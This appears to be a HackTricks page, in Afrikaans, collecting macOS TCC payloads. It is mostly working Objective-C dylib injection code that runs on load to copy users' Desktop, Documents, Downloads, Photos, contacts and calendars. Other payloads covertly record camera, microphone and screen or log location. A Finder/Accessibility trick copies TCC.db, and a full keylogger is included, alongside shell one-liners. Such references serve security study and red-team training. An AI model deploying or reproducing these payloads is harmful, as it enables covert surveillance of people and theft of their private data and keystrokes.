macOS TCC Payloads
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Kyk na die subskripsieplanne!
Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.
Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Regte: Geen
TCC: kTCCServiceSystemPolicyDesktopFolder
Kopieer $HOME/Desktop
na /tmp/desktop
.
#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>
// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;
// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Desktop"];
NSString *tmpPhotosPath = @"/tmp/desktop";
// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}
NSLog(@"Copy completed successfully.", error);
fclose(stderr); // Close the file stream
}
Kopieer $HOME/Desktop
na /tmp/desktop
.
cp -r "$HOME/Desktop" "/tmp/desktop"
Regte: Geen
TCC: kTCCServiceSystemPolicyDocumentsFolder
Kopieer $HOME/Documents
na /tmp/documents
.
#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>
// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;
// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Documents"];
NSString *tmpPhotosPath = @"/tmp/documents";
// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}
NSLog(@"Copy completed successfully.", error);
fclose(stderr); // Close the file stream
}
Kopieer $HOME/
Documents na /tmp/documents
.
cp -r "$HOME/Documents" "/tmp/documents"
Regte: Geen
TCC: kTCCServiceSystemPolicyDownloadsFolder
Kopieer $HOME/Downloads
na /tmp/downloads
.
#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>
// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;
// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Downloads"];
NSString *tmpPhotosPath = @"/tmp/downloads";
// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}
NSLog(@"Copy completed successfully.", error);
fclose(stderr); // Close the file stream
}
Kopieer $HOME/Dowloads
na /tmp/downloads
.
cp -r "$HOME/Downloads" "/tmp/downloads"
Regte: com.apple.security.personal-information.photos-library
TCC: kTCCServicePhotos
Kopieer $HOME/Pictures/Photos Library.photoslibrary
na /tmp/photos
.
#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>
// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;
// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Pictures/Photos Library.photoslibrary"];
NSString *tmpPhotosPath = @"/tmp/photos";
// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}
NSLog(@"Copy completed successfully.", error);
fclose(stderr); // Close the file stream
}
Kopieer $HOME/Pictures/Photos Library.photoslibrary
na /tmp/photos
.
cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
Regte: com.apple.security.personal-information.addressbook
TCC: kTCCServiceAddressBook
Kopieer $HOME/Library/Application Support/AddressBook
na /tmp/contacts
.
#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>
// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;
// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Application Support/AddressBook"];
NSString *tmpPhotosPath = @"/tmp/contacts";
// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}
NSLog(@"Copy completed successfully.", error);
fclose(stderr); // Close the file stream
}
Kopieer $HOME/Library/Application Support/AddressBook
na /tmp/contacts
.
cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
Regte: com.apple.security.personal-information.calendars
TCC: kTCCServiceCalendar
Kopieer $HOME/Library/Calendars
na /tmp/calendars
.
#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>
// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;
// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Calendars/"];
NSString *tmpPhotosPath = @"/tmp/calendars";
// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}
NSLog(@"Copy completed successfully.", error);
fclose(stderr); // Close the file stream
}
Kopieer $HOME/Library/Calendars
na /tmp/calendars
.
cp -r "$HOME/Library/Calendars" "/tmp/calendars"
Regte: com.apple.security.device.camera
TCC: kTCCServiceCamera
Neem 'n 3s video op en stoor dit in /tmp/recording.mov
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
// gcc -framework Foundation -framework AVFoundation -dynamiclib CamTest.m -o CamTest.dylib
// Code from: https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4
@interface VideoRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>
@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *videoDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *movieFileOutput;
- (void)startRecording;
- (void)stopRecording;
@end
@implementation VideoRecorder
- (instancetype)init {
self = [super init];
if (self) {
[self setupCaptureSession];
}
return self;
}
- (void)setupCaptureSession {
self.captureSession = [[AVCaptureSession alloc] init];
self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;
AVCaptureDevice *videoDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];
NSError *error;
self.videoDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:videoDevice error:&error];
if (error) {
NSLog(@"Error setting up video device input: %@", [error localizedDescription]);
return;
}
if ([self.captureSession canAddInput:self.videoDeviceInput]) {
[self.captureSession addInput:self.videoDeviceInput];
}
self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init];
if ([self.captureSession canAddOutput:self.movieFileOutput]) {
[self.captureSession addOutput:self.movieFileOutput];
}
}
- (void)startRecording {
[self.captureSession startRunning];
NSString *outputFilePath = @"/tmp/recording.mov";
NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
[self.movieFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
NSLog(@"Recording started");
}
- (void)stopRecording {
[self.movieFileOutput stopRecording];
[self.captureSession stopRunning];
NSLog(@"Recording stopped");
}
#pragma mark - AVCaptureFileOutputRecordingDelegate
- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
fromConnections:(NSArray<AVCaptureConnection *> *)connections
error:(NSError *)error {
if (error) {
NSLog(@"Recording failed: %@", [error localizedDescription]);
} else {
NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
}
}
@end
__attribute__((constructor))
static void myconstructor(int argc, const char **argv) {
freopen("/tmp/logs.txt", "a", stderr);
VideoRecorder *videoRecorder = [[VideoRecorder alloc] init];
[videoRecorder startRecording];
[NSThread sleepForTimeInterval:3.0];
[videoRecorder stopRecording];
[[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:3.0]];
fclose(stderr); // Close the file stream
}
Kontroleer of die program toegang tot die kamera het.
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
// gcc -framework Foundation -framework AVFoundation -dynamiclib CamTest.m -o CamTest.dylib
// Code from https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4
@interface CameraAccessChecker : NSObject
+ (BOOL)hasCameraAccess;
@end
@implementation CameraAccessChecker
+ (BOOL)hasCameraAccess {
AVAuthorizationStatus status = [AVCaptureDevice authorizationStatusForMediaType:AVMediaTypeVideo];
if (status == AVAuthorizationStatusAuthorized) {
NSLog(@"[+] Access to camera granted.");
return YES;
} else {
NSLog(@"[-] Access to camera denied.");
return NO;
}
}
@end
__attribute__((constructor))
static void telegram(int argc, const char **argv) {
freopen("/tmp/logs.txt", "a", stderr);
[CameraAccessChecker hasCameraAccess];
fclose(stderr); // Close the file stream
}
Neem 'n foto met die kamera
ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
Regte: com.apple.security.device.audio-input
TCC: kTCCServiceMicrophone
Neem 5 sekondes se klank op en stoor dit in /tmp/recording.m4a
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
// Code from https://www.vicarius.io/vsociety/posts/cve-2023-26818-exploit-macos-tcc-bypass-w-telegram-part-1-2
// gcc -dynamiclib -framework Foundation -framework AVFoundation Micexploit.m -o Micexploit.dylib
@interface AudioRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>
@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *audioDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *audioFileOutput;
- (void)startRecording;
- (void)stopRecording;
@end
@implementation AudioRecorder
- (instancetype)init {
self = [super init];
if (self) {
[self setupCaptureSession];
}
return self;
}
- (void)setupCaptureSession {
self.captureSession = [[AVCaptureSession alloc] init];
self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;
AVCaptureDevice *audioDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeAudio];
NSError *error;
self.audioDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:audioDevice error:&error];
if (error) {
NSLog(@"Error setting up audio device input: %@", [error localizedDescription]);
return;
}
if ([self.captureSession canAddInput:self.audioDeviceInput]) {
[self.captureSession addInput:self.audioDeviceInput];
}
self.audioFileOutput = [[AVCaptureMovieFileOutput alloc] init];
if ([self.captureSession canAddOutput:self.audioFileOutput]) {
[self.captureSession addOutput:self.audioFileOutput];
}
}
- (void)startRecording {
[self.captureSession startRunning];
NSString *outputFilePath = [NSTemporaryDirectory() stringByAppendingPathComponent:@"recording.m4a"];
NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
[self.audioFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
NSLog(@"Recording started");
}
- (void)stopRecording {
[self.audioFileOutput stopRecording];
[self.captureSession stopRunning];
NSLog(@"Recording stopped");
}
#pragma mark - AVCaptureFileOutputRecordingDelegate
- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
fromConnections:(NSArray<AVCaptureConnection *> *)connections
error:(NSError *)error {
if (error) {
NSLog(@"Recording failed: %@", [error localizedDescription]);
} else {
NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
}
NSLog(@"Saved to %@", outputFileURL.path);
}
@end
__attribute__((constructor))
static void myconstructor(int argc, const char **argv) {
freopen("/tmp/logs.txt", "a", stderr);
AudioRecorder *audioRecorder = [[AudioRecorder alloc] init];
[audioRecorder startRecording];
[NSThread sleepForTimeInterval:5.0];
[audioRecorder stopRecording];
[[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
fclose(stderr); // Close the file stream
}
Kontroleer of die app toegang tot die mikrofoon het.
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
// From https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4
// gcc -framework Foundation -framework AVFoundation -dynamiclib MicTest.m -o MicTest.dylib
@interface MicrophoneAccessChecker : NSObject
+ (BOOL)hasMicrophoneAccess;
@end
@implementation MicrophoneAccessChecker
+ (BOOL)hasMicrophoneAccess {
AVAuthorizationStatus status = [AVCaptureDevice authorizationStatusForMediaType:AVMediaTypeAudio];
if (status == AVAuthorizationStatusAuthorized) {
NSLog(@"[+] Access to microphone granted.");
return YES;
} else {
NSLog(@"[-] Access to microphone denied.");
return NO;
}
}
@end
__attribute__((constructor))
static void telegram(int argc, const char **argv) {
[MicrophoneAccessChecker hasMicrophoneAccess];
}
Neem 'n 5s klankopname en stoor dit in /tmp/recording.wav
# Check the microphones
ffmpeg -f avfoundation -list_devices true -i ""
# Use microphone from index 1 from the previous list to record
ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav
Vir 'n app om die plek te kry, Plekdienste (van Privaatheid & Sekuriteit) moet geaktiveer wees, anders kan dit nie toegang daartoe kry nie.
Regte: com.apple.security.personal-information.location
TCC: Toegestaan in /var/db/locationd/clients.plist
Skryf die plek in /tmp/logs.txt
#include <syslog.h>
#include <stdio.h>
#import <Foundation/Foundation.h>
#import <CoreLocation/CoreLocation.h>
@interface LocationManagerDelegate : NSObject <CLLocationManagerDelegate>
@end
@implementation LocationManagerDelegate
- (void)locationManager:(CLLocationManager *)manager didUpdateLocations:(NSArray<CLLocation *> *)locations {
CLLocation *location = [locations lastObject];
NSLog(@"Current location: %@", location);
exit(0); // Exit the program after receiving the first location update
}
- (void)locationManager:(CLLocationManager *)manager didFailWithError:(NSError *)error {
NSLog(@"Error getting location: %@", error);
exit(1); // Exit the program on error
}
@end
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
NSLog(@"Getting location");
CLLocationManager *locationManager = [[CLLocationManager alloc] init];
LocationManagerDelegate *delegate = [[LocationManagerDelegate alloc] init];
locationManager.delegate = delegate;
[locationManager requestWhenInUseAuthorization]; // or use requestAlwaysAuthorization
[locationManager startUpdatingLocation];
NSRunLoop *runLoop = [NSRunLoop currentRunLoop];
while (true) {
[runLoop runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
}
NSLog(@"Location completed successfully.");
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
}
Kry toegang tot die ligging
???
Regte: Geen
TCC: kTCCServiceScreenCapture
Neem die hoofskerm op vir 5s in /tmp/screen.mov
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
// clang -framework Foundation -framework AVFoundation -framework CoreVideo -framework CoreMedia -framework CoreGraphics -o ScreenCapture ScreenCapture.m
@interface MyRecordingDelegate : NSObject <AVCaptureFileOutputRecordingDelegate>
@end
@implementation MyRecordingDelegate
- (void)captureOutput:(AVCaptureFileOutput *)output
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
fromConnections:(NSArray *)connections
error:(NSError *)error {
if (error) {
NSLog(@"Recording error: %@", error);
} else {
NSLog(@"Recording finished successfully.");
}
exit(0);
}
@end
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
AVCaptureSession *captureSession = [[AVCaptureSession alloc] init];
AVCaptureScreenInput *screenInput = [[AVCaptureScreenInput alloc] initWithDisplayID:CGMainDisplayID()];
if ([captureSession canAddInput:screenInput]) {
[captureSession addInput:screenInput];
}
AVCaptureMovieFileOutput *fileOutput = [[AVCaptureMovieFileOutput alloc] init];
if ([captureSession canAddOutput:fileOutput]) {
[captureSession addOutput:fileOutput];
}
[captureSession startRunning];
MyRecordingDelegate *delegate = [[MyRecordingDelegate alloc] init];
[fileOutput startRecordingToOutputFileURL:[NSURL fileURLWithPath:@"/tmp/screen.mov"] recordingDelegate:delegate];
// Run the loop for 5 seconds to capture
dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(5 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{
[fileOutput stopRecording];
});
CFRunLoopRun();
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
}
Neem die hoofskerm vir 5s op
screencapture -V 5 /tmp/screen.mov
Regte: Geen
TCC: kTCCServiceAccessibility
Gebruik die TCC-privilege om die beheer van Finder te aanvaar deur enter te druk en TCC op daardie manier te omseil
#import <Foundation/Foundation.h>
#import <ApplicationServices/ApplicationServices.h>
#import <OSAKit/OSAKit.h>
// clang -framework Foundation -framework ApplicationServices -framework OSAKit -o ParallelScript ParallelScript.m
// TODO: Improve to monitor the foreground app and press enter when TCC appears
void SimulateKeyPress(CGKeyCode keyCode) {
CGEventRef keyDownEvent = CGEventCreateKeyboardEvent(NULL, keyCode, true);
CGEventRef keyUpEvent = CGEventCreateKeyboardEvent(NULL, keyCode, false);
CGEventPost(kCGHIDEventTap, keyDownEvent);
CGEventPost(kCGHIDEventTap, keyUpEvent);
if (keyDownEvent) CFRelease(keyDownEvent);
if (keyUpEvent) CFRelease(keyUpEvent);
}
void RunAppleScript() {
NSLog(@"Starting AppleScript");
NSString *scriptSource = @"tell application \"Finder\"\n"
"set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias\n"
"set targetFolder to POSIX file \"/tmp\" as alias\n"
"duplicate file sourceFile to targetFolder with replacing\n"
"end tell\n";
NSDictionary *errorDict = nil;
NSAppleScript *appleScript = [[NSAppleScript alloc] initWithSource:scriptSource];
[appleScript executeAndReturnError:&errorDict];
if (errorDict) {
NSLog(@"AppleScript Error: %@", errorDict);
}
}
int main() {
@autoreleasepool {
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
RunAppleScript();
});
// Simulate pressing the Enter key every 0.1 seconds
NSLog(@"Starting key presses");
for (int i = 0; i < 10; ++i) {
SimulateKeyPress((CGKeyCode)36); // Key code for Enter
usleep(100000); // 0.1 seconds
}
}
return 0;
}
Stoor die ingedrukte sleutels in /tmp/keystrokes.txt
#import <Foundation/Foundation.h>
#import <ApplicationServices/ApplicationServices.h>
#import <Carbon/Carbon.h>
// clang -framework Foundation -framework ApplicationServices -framework Carbon -o KeyboardMonitor KeyboardMonitor.m
NSString *const kKeystrokesLogPath = @"/tmp/keystrokes.txt";
void AppendStringToFile(NSString *str, NSString *filePath) {
NSFileHandle *fileHandle = [NSFileHandle fileHandleForWritingAtPath:filePath];
if (fileHandle) {
[fileHandle seekToEndOfFile];
[fileHandle writeData:[str dataUsingEncoding:NSUTF8StringEncoding]];
[fileHandle closeFile];
} else {
// If the file does not exist, create it
[str writeToFile:filePath atomically:YES encoding:NSUTF8StringEncoding error:nil];
}
}
CGEventRef KeyboardEventCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {
if (type == kCGEventKeyDown) {
CGKeyCode keyCode = (CGKeyCode)CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);
NSString *keyString = nil;
// First, handle special non-printable keys
switch (keyCode) {
case kVK_Return: keyString = @"<Return>"; break;
case kVK_Tab: keyString = @"<Tab>"; break;
case kVK_Space: keyString = @"<Space>"; break;
case kVK_Delete: keyString = @"<Delete>"; break;
case kVK_Escape: keyString = @"<Escape>"; break;
case kVK_Command: keyString = @"<Command>"; break;
case kVK_Shift: keyString = @"<Shift>"; break;
case kVK_CapsLock: keyString = @"<CapsLock>"; break;
case kVK_Option: keyString = @"<Option>"; break;
case kVK_Control: keyString = @"<Control>"; break;
case kVK_RightControl: keyString = @"<Control>"; break;
case kVK_RightShift: keyString = @"<Shift>"; break;
case kVK_RightOption: keyString = @"<Option>"; break;
case kVK_Function: keyString = @"<Function>"; break;
case kVK_F1: keyString = @"<F1>"; break;
case kVK_F2: keyString = @"<F2>"; break;
case kVK_F3: keyString = @"<F3>"; break;
// Add more cases here for other non-printable keys...
default: break; // Not a special non-printable key
}
// If it's not a special key, try to translate it
if (!keyString) {
UniCharCount maxStringLength = 4;
UniCharCount actualStringLength = 0;
UniChar unicodeString[maxStringLength];
TISInputSourceRef currentKeyboard = TISCopyCurrentKeyboardInputSource();
CFDataRef layoutData = TISGetInputSourceProperty(currentKeyboard, kTISPropertyUnicodeKeyLayoutData);
const UCKeyboardLayout *keyboardLayout = (const UCKeyboardLayout *)CFDataGetBytePtr(layoutData);
UInt32 deadKeyState = 0;
OSStatus status = UCKeyTranslate(keyboardLayout,
keyCode,
kUCKeyActionDown,
0,
LMGetKbdType(),
kUCKeyTranslateNoDeadKeysBit,
&deadKeyState,
maxStringLength,
&actualStringLength,
unicodeString);
CFRelease(currentKeyboard);
if (status == noErr && actualStringLength > 0) {
keyString = [NSString stringWithCharacters:unicodeString length:actualStringLength];
} else {
keyString = [NSString stringWithFormat:@"<KeyCode: %d>", keyCode];
}
}
NSString *logString = [NSString stringWithFormat:@"%@\n", keyString];
AppendStringToFile(logString, kKeystrokesLogPath);
}
return event;
}
int main() {
@autoreleasepool {
CGEventMask eventMask = CGEventMaskBit(kCGEventKeyDown);
CFMachPortRef eventTap = CGEventTapCreate(kCGSessionEventTap, kCGHeadInsertEventTap, 0, eventMask, KeyboardEventCallback, NULL);
if (!eventTap) {
NSLog(@"Failed to create event tap");
exit(1);
}
CFRunLoopSourceRef runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0);
CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
CGEventTapEnable(eventTap, true);
CFRunLoopRun();
}
return 0;
}
Toeganklikheid is 'n baie kragtige toestemming, jy kan dit op ander maniere misbruik, byvoorbeeld jy kan die toetsdruk aanval net daarvan uitvoer sonder om Stelselsgebeurtenisse te moet aanroep.
Kyk na die subskripsieplanne!
Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.
Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)